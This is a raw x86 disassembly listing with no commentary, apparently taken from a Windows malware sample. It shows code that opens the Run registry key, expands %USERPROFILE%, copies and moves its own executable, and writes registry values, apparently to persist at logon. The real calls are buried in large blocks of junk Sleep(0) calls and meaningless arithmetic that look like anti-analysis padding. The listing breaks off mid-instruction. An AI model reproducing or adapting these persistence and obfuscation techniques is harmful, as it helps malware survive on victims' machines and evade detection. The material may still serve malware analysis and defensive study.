push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x688]
push edx
mov eax, dword [ebp - 0x2bcc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 0x2bcc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d00]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d00]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d00]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d04]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d04]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d04]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d08]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d08]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d08]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d0c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d0c]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d0c]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d10]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d10]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d10]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d14]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d14]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d14]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d18]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d18]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d18]
fld dword [0x435fe0]
fstp dword [ebp - 0x2d1c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d1c]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d1c]
mov byte [ebp - 0x2d1d], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2d1d]
add edx, 0x26
mov byte [ebp - 0x2d1d], dl
mov byte [ebp - 0x2d1e], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2d1e]
add eax, 0x26
mov byte [ebp - 0x2d1e], al
mov byte [ebp - 0x2d1f], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2d1f]
add ecx, 0x26
mov byte [ebp - 0x2d1f], cl
mov byte [ebp - 0x2d20], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2d20]
add edx, 0x26
mov byte [ebp - 0x2d20], dl
mov byte [ebp - 0x2d21], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2d21]
add eax, 0x26
mov byte [ebp - 0x2d21], al
mov byte [ebp - 0x2d22], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2d22]
add ecx, 0x26
mov byte [ebp - 0x2d22], cl
mov byte [ebp - 0x2d23], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2d23]
add edx, 0x26
mov byte [ebp - 0x2d23], dl
mov byte [ebp - 0x2d24], 0xb0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2d24]
add eax, 0x26
mov byte [ebp - 0x2d24], al
push 0x104
lea ecx, [ebp - 0x1bf8]
push ecx
push 0x435660
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
fld qword [0x435fd0]
fstp qword [ebp - 0x2d30]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d30]
fadd qword [0x435fc8]
fstp qword [ebp - 0x2d30]
fld qword [0x435fd0]
fstp qword [ebp - 0x2d38]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d38]
fadd qword [0x435fc8]
fstp qword [ebp - 0x2d38]
fld qword [0x435fd0]
fstp qword [ebp - 0x2d40]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d40]
fadd qword [0x435fc8]
fstp qword [ebp - 0x2d40]
fld qword [0x435fd0]
fstp qword [ebp - 0x2d48]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d48]
fadd qword [0x435fc8]
fstp qword [ebp - 0x2d48]
fld qword [0x435fd0]
fstp qword [ebp - 0x2d50]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d50]
fadd qword [0x435fc8]
fstp qword [ebp - 0x2d50]
fld qword [0x435fd0]
fstp qword [ebp - 0x2d58]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d58]
fadd qword [0x435fc8]
fstp qword [ebp - 0x2d58]
push 0x457
lea edx, [ebp - 0x1bf8]
push edx
push 0x435668
lea eax, [ebp - 0x2cd8]
push eax
call fcn.0041020b
add esp, 0x10
lea ecx, [ebp - 0x2cd8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
fld dword [0x435fc0]
fstp dword [ebp - 0x2d5c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d5c]
fadd qword [0x435fb8]
fstp dword [ebp - 0x2d5c]
fld dword [0x435fc0]
fstp dword [ebp - 0x2d60]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d60]
fadd qword [0x435fb8]
fstp dword [ebp - 0x2d60]
fld dword [0x435fc0]
fstp dword [ebp - 0x2d64]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d64]
fadd qword [0x435fb8]
fstp dword [ebp - 0x2d64]
fld dword [0x435fc0]
fstp dword [ebp - 0x2d68]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d68]
fadd qword [0x435fb8]
fstp dword [ebp - 0x2d68]
fld dword [0x435fc0]
fstp dword [ebp - 0x2d6c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d6c]
fadd qword [0x435fb8]
fstp dword [ebp - 0x2d6c]
fld dword [0x435fc0]
fstp dword [ebp - 0x2d70]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d70]
fadd qword [0x435fb8]
fstp dword [ebp - 0x2d70]
lea edx, [ebp - 0x2cd8]
push edx
lea eax, [ebp - 0x2028]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
fld dword [0x435fb0]
fstp dword [ebp - 0x2d74]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d74]
fadd qword [0x435fa8]
fstp dword [ebp - 0x2d74]
fld dword [0x435fb0]
fstp dword [ebp - 0x2d78]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d78]
fadd qword [0x435fa8]
fstp dword [ebp - 0x2d78]
fld dword [0x435fb0]
fstp dword [ebp - 0x2d7c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d7c]
fadd qword [0x435fa8]
fstp dword [ebp - 0x2d7c]
fld qword [0x435ce8]
fstp qword [ebp - 0x2d88]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d88]
fadd qword [0x435d78]
fstp qword [ebp - 0x2d88]
fld qword [0x435ce8]
fstp qword [ebp - 0x2d90]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2d90]
fadd qword [0x435d78]
fstp qword [ebp - 0x2d90]
lea ecx, [ebp - 0x2bc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
fld dword [0x436088]
fstp dword [ebp - 0x2d94]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d94]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d94]
fld dword [0x436088]
fstp dword [ebp - 0x2d98]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d98]
fadd qword [0x435fd8]
fstp dword [ebp - 0x2d98]
movzx edx, word [ebp - 0x2bbe]
push edx
movzx eax, word [ebp - 0x2bc0]
push eax
movzx ecx, word [ebp - 0x2bc2]
push ecx
movzx edx, word [ebp - 0x2bc6]
push edx
movzx eax, word [ebp - 0x2bc8]
push eax
push str._d_02d_02d_02d_02d
lea ecx, [ebp - 0x2bb8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
fld dword [0x435fa0]
fstp dword [ebp - 0x2d9c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2d9c]
fadd qword [0x435f98]
fstp dword [ebp - 0x2d9c]
fld dword [0x435fa0]
fstp dword [ebp - 0x2da0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2da0]
fadd qword [0x435f98]
fstp dword [ebp - 0x2da0]
fld dword [0x435fa0]
fstp dword [ebp - 0x2da4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2da4]
fadd qword [0x435f98]
fstp dword [ebp - 0x2da4]
lea edx, [ebp - 0x688]
push edx
call fcn.0040f320
add esp, 4
test eax, eax
jne 0x4096f5
push 0
push 1
push 0x435684
lea eax, [ebp - 0x2bb8]
push eax
lea ecx, [ebp - 0x6f8]
push ecx
push 0x435688
push closesocket
call fcn.00403aa0
add esp, 0x1c
push 0
push 1
push 0x435694
lea edx, [ebp - 0x2bb8]
push edx
lea eax, [ebp - 0x6f8]
push eax
push 0x435698
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov byte [ebp - 0x2da5], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2da5]
add ecx, 0xf1
mov byte [ebp - 0x2da5], cl
mov byte [ebp - 0x2da6], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2da6]
add edx, 0xf1
mov byte [ebp - 0x2da6], dl
mov byte [ebp - 0x2da7], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2da7]
add eax, 0xf1
mov byte [ebp - 0x2da7], al
mov byte [ebp - 0x2da8], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2da8]
add ecx, 0xf1
mov byte [ebp - 0x2da8], cl
mov byte [ebp - 0x2da9], 0xc7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2da9]
add edx, 0xf1
mov byte [ebp - 0x2da9], dl
mov dword [ebp - 0x2db0], 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2db0]
add eax, 0xd2
mov dword [ebp - 0x2db0], eax
mov dword [ebp - 0x2db4], 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2db4]
add ecx, 0xd2
mov dword [ebp - 0x2db4], ecx
mov dword [ebp - 0x2db8], 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2db8]
add edx, 0xd2
mov dword [ebp - 0x2db8], edx
mov dword [ebp - 0x2dbc], 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2dbc]
add eax, 0xd2
mov dword [ebp - 0x2dbc], eax
mov dword [ebp - 0x2dc0], 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2dc0]
add ecx, 0xd2
mov dword [ebp - 0x2dc0], ecx
mov dword [ebp - 0x2dc4], 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2dc4]
add edx, 0xd2
mov dword [ebp - 0x2dc4], edx
mov dword [ebp - 0x2dc8], 0xd8
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2dc8]
add eax, 0xd2
mov dword [ebp - 0x2dc8], eax
push 0x4356a4
lea ecx, [ebp - 0x1bf8]
push ecx
call fcn.0040f840
add esp, 8
fld dword [0x435f90]
fstp dword [ebp - 0x2dcc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2dcc]
fadd qword [0x435e78]
fstp dword [ebp - 0x2dcc]
fld dword [0x435f90]
fstp dword [ebp - 0x2dd0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2dd0]
fadd qword [0x435e78]
fstp dword [ebp - 0x2dd0]
fld dword [0x435f90]
fstp dword [ebp - 0x2dd4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2dd4]
fadd qword [0x435e78]
fstp dword [ebp - 0x2dd4]
push 0x4356a8
lea edx, [ebp - 0x1bf8]
push edx
call fcn.0040f850
add esp, 8
mov byte [ebp - 0x2dd5], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2dd5]
add eax, 0xb2
mov byte [ebp - 0x2dd5], al
mov byte [ebp - 0x2dd6], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2dd6]
add ecx, 0xb2
mov byte [ebp - 0x2dd6], cl
mov byte [ebp - 0x2dd7], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2dd7]
add edx, 0xb2
mov byte [ebp - 0x2dd7], dl
mov byte [ebp - 0x2dd8], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2dd8]
add eax, 0xb2
mov byte [ebp - 0x2dd8], al
mov byte [ebp - 0x2dd9], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2dd9]
add ecx, 0xb2
mov byte [ebp - 0x2dd9], cl
mov byte [ebp - 0x2dda], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx edx, byte [ebp - 0x2dda]
add edx, 0xb2
mov byte [ebp - 0x2dda], dl
mov byte [ebp - 0x2ddb], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 0x2ddb]
add eax, 0xb2
mov byte [ebp - 0x2ddb], al
mov byte [ebp - 0x2ddc], 0x9f
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0x2ddc]
add ecx, 0xb2
mov byte [ebp - 0x2ddc], cl
lea edx, [ebp - 0x1bf8]
push edx
call fcn.0040f320
add esp, 4
mov dword [ebp - 0x618], eax
movzx eax, byte [ebp - 0x1e09]
push eax
mov ecx, dword [ebp - 0x618]
push ecx
lea edx, [ebp - 0x1bf8]
push edx
call fcn.00402fc0
add esp, 0xc
mov dword [ebp - 0x2de0], 0x94
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2de0]
add eax, 0x4d
mov dword [ebp - 0x2de0], eax
lea ecx, [ebp - 0x688]
push ecx
mov edx, dword [ebp - 0x618]
push edx
lea eax, [ebp - 0x1bf8]
push eax
call fcn.00403080
add esp, 0xc
mov dword [ebp - 0x2de4], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2de4]
add ecx, 0x5c
mov dword [ebp - 0x2de4], ecx
mov dword [ebp - 0x2de8], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2de8]
add edx, 0x5c
mov dword [ebp - 0x2de8], edx
mov dword [ebp - 0x2dec], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2dec]
add eax, 0x5c
mov dword [ebp - 0x2dec], eax
mov dword [ebp - 0x2df0], 0x1d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2df0]
add ecx, 0x5c
mov dword [ebp - 0x2df0], ecx
push 0x104
lea edx, [ebp - 0x2028]
push edx
push str._USERPROFILE_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov dword [ebp - 0x2df4], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2df4]
add eax, 0xf2
mov dword [ebp - 0x2df4], eax
mov dword [ebp - 0x2df8], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2df8]
add ecx, 0xf2
mov dword [ebp - 0x2df8], ecx
mov dword [ebp - 0x2dfc], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2dfc]
add edx, 0xf2
mov dword [ebp - 0x2dfc], edx
mov dword [ebp - 0x2e00], 0x97
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e00]
add eax, 0xf2
mov dword [ebp - 0x2e00], eax
push 0x4356c4
lea ecx, [ebp - 0x2028]
push ecx
call fcn.0040f850
add esp, 8
push 0x4356c8
lea edx, [ebp - 0x2028]
push edx
call fcn.0040f850
add esp, 8
mov dword [ebp - 0x2e04], 0xa7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e04]
add eax, 0x8d
mov dword [ebp - 0x2e04], eax
mov dword [ebp - 0x2e08], 0xa7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2e08]
add ecx, 0x8d
mov dword [ebp - 0x2e08], ecx
mov dword [ebp - 0x2e0c], 0xa7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2e0c]
add edx, 0x8d
mov dword [ebp - 0x2e0c], edx
mov dword [ebp - 0x2e10], 0xa7
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e10]
add eax, 0x8d
mov dword [ebp - 0x2e10], eax
push 0x64
lea ecx, [ebp - 0x1bf8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
fld qword [0x435f88]
fstp qword [ebp - 0x2e18]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e18]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e18]
fld qword [0x435f88]
fstp qword [ebp - 0x2e20]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e20]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e20]
fld qword [0x435f88]
fstp qword [ebp - 0x2e28]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e28]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e28]
fld qword [0x435f88]
fstp qword [ebp - 0x2e30]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e30]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e30]
fld qword [0x435f88]
fstp qword [ebp - 0x2e38]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e38]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e38]
fld qword [0x435f88]
fstp qword [ebp - 0x2e40]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e40]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e40]
fld qword [0x435f88]
fstp qword [ebp - 0x2e48]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e48]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e48]
fld qword [0x435f88]
fstp qword [ebp - 0x2e50]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [ebp - 0x2e50]
fadd qword [0x435f80]
fstp qword [ebp - 0x2e50]
lea edx, [ebp - 0x2028]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x2e54], 9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e54]
add eax, 0xdd
mov dword [ebp - 0x2e54], eax
mov dword [ebp - 0x2e58], 9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2e58]
add ecx, 0xdd
mov dword [ebp - 0x2e58], ecx
mov dword [ebp - 0x2e5c], 9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2e5c]
add edx, 0xdd
mov dword [ebp - 0x2e5c], edx
mov dword [ebp - 0x2e60], 9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e60]
add eax, 0xdd
mov dword [ebp - 0x2e60], eax
mov dword [ebp - 0x2e64], 9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2e64]
add ecx, 0xdd
mov dword [ebp - 0x2e64], ecx
mov dword [ebp - 0x2e68], 9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2e68]
add edx, 0xdd
mov dword [ebp - 0x2e68], edx
lea eax, [ebp - 0x2028]
push eax
lea ecx, [ebp - 0x1bf8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 1
push 0x4356d4
push 0x4356d8
lea edx, [ebp - 0x6f8]
push edx
push 0x4356e4
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov dword [ebp - 0x2e6c], 0x71
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e6c]
add eax, 0x2a
mov dword [ebp - 0x2e6c], eax
mov dword [ebp - 0x2e70], 0x71
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2e70]
add ecx, 0x2a
mov dword [ebp - 0x2e70], ecx
mov dword [ebp - 0x2e74], 0x71
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2e74]
add edx, 0x2a
mov dword [ebp - 0x2e74], edx
push 0
push 1
push 0x4356f0
push 0x4356f4
lea eax, [ebp - 0x6f8]
push eax
push 0x435700
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov dword [ebp - 0x2e78], 0xfb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2e78]
add ecx, 0xc3
mov dword [ebp - 0x2e78], ecx
mov dword [ebp - 0x2e7c], 0xfb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2e7c]
add edx, 0xc3
mov dword [ebp - 0x2e7c], edx
mov dword [ebp - 0x2e80], 0xfb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e80]
add eax, 0xc3
mov dword [ebp - 0x2e80], eax
mov dword [ebp - 0x2e84], 0xfb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2e84]
add ecx, 0xc3
mov dword [ebp - 0x2e84], ecx
mov dword [ebp - 0x2e88], 0xfb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x2e88]
add edx, 0xc3
mov dword [ebp - 0x2e88], edx
mov dword [ebp - 0x2e8c], 0xfb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2e8c]
add eax, 0xc3
mov dword [ebp - 0x2e8c], eax
mov dword [ebp - 0x2e90], 0xfb
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x2e90]
add ecx, 0xc3
mov dword [ebp - 0x2e90], ecx
push 0
push 1
push 0x43570c
lea edx, [ebp - 0x688]
push edx
lea eax, [ebp - 0x6f8]
push eax
push 0x435718
push closesocket
call fcn.00403aa0
add esp, 0x1c
fld dword [0x435f78]
fstp dword [ebp - 0x2e94]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2e94]
fadd qword [0x435f70]
fstp dword [ebp - 0x2e94]
fld dword [0x435f78]
fstp dword [ebp - 0x2e98]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2e98]
fadd qword [0x435f70]
fstp dword [ebp - 0x2e98]
fld dword [0x435f78]
fstp dword [ebp - 0x2e9c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2e9c]
fadd qword [0x435f70]
fstp dword [ebp - 0x2e9c]
fld dword [0x435f78]
fstp dword [ebp - 0x2ea0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ea0]
fadd qword [0x435f70]
fstp dword [ebp - 0x2ea0]
push 0
push 1
push str.Location
lea ecx, [ebp - 0x688]
push ecx
lea edx, [ebp - 0x6f8]
push edx
push 0x435730
push closesocket
call fcn.00403aa0
add esp, 0x1c
push 0
push 1
push 0x43573c
push 0x435740
lea eax, [ebp - 0x6f8]
push eax
push 0x435748
push closesocket
call fcn.00403aa0
add esp, 0x1c
fld dword [0x435f6c]
fstp dword [ebp - 0x2ea4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ea4]
fadd qword [0x436020]
fstp dword [ebp - 0x2ea4]
fld dword [0x435f6c]
fstp dword [ebp - 0x2ea8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ea8]
fadd qword [0x436020]
fstp dword [ebp - 0x2ea8]
fld dword [0x435f6c]
fstp dword [ebp - 0x2eac]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2eac]
fadd qword [0x436020]
fstp dword [ebp - 0x2eac]
fld dword [0x435f6c]
fstp dword [ebp - 0x2eb0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2eb0]
fadd qword [0x436020]
fstp dword [ebp - 0x2eb0]
fld dword [0x435f6c]
fstp dword [ebp - 0x2eb4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2eb4]
fadd qword [0x436020]
fstp dword [ebp - 0x2eb4]
fld dword [0x435f6c]
fstp dword [ebp - 0x2eb8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2eb8]
fadd qword [0x436020]
fstp dword [ebp - 0x2eb8]
fld dword [0x435f6c]
fstp dword [ebp - 0x2ebc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ebc]
fadd qword [0x436020]
fstp dword [ebp - 0x2ebc]
fld dword [0x435f6c]
fstp dword [ebp - 0x2ec0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ec0]
fadd qword [0x436020]
fstp dword [ebp - 0x2ec0]
push 0
push 1
push 0x435754
push 0x435758
lea ecx, [ebp - 0x6f8]
push ecx
push 0x435760
push closesocket
call fcn.00403aa0
add esp, 0x1c
fld dword [0x435f68]
fstp dword [ebp - 0x2ec4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ec4]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ec4]
fld dword [0x435f68]
fstp dword [ebp - 0x2ec8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ec8]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ec8]
fld dword [0x435f68]
fstp dword [ebp - 0x2ecc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ecc]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ecc]
fld dword [0x435f68]
fstp dword [ebp - 0x2ed0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ed0]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ed0]
fld dword [0x435f68]
fstp dword [ebp - 0x2ed4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ed4]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ed4]
fld dword [0x435f68]
fstp dword [ebp - 0x2ed8]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ed8]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ed8]
fld dword [0x435f68]
fstp dword [ebp - 0x2edc]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2edc]
fadd qword [0x435f60]
fstp dword [ebp - 0x2edc]
fld dword [0x435f68]
fstp dword [ebp - 0x2ee0]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ee0]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ee0]
fld dword [0x435f68]
fstp dword [ebp - 0x2ee4]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [ebp - 0x2ee4]
fadd qword [0x435f60]
fstp dword [ebp - 0x2ee4]
push 0
push 1
push 0x43576c
push 0x435770
lea edx, [ebp - 0x6f8]
push edx
push 0x435774
push closesocket
call fcn.00403aa0
add esp, 0x1c
mov dword [ebp - 0x2ee8], 0x69
push 0
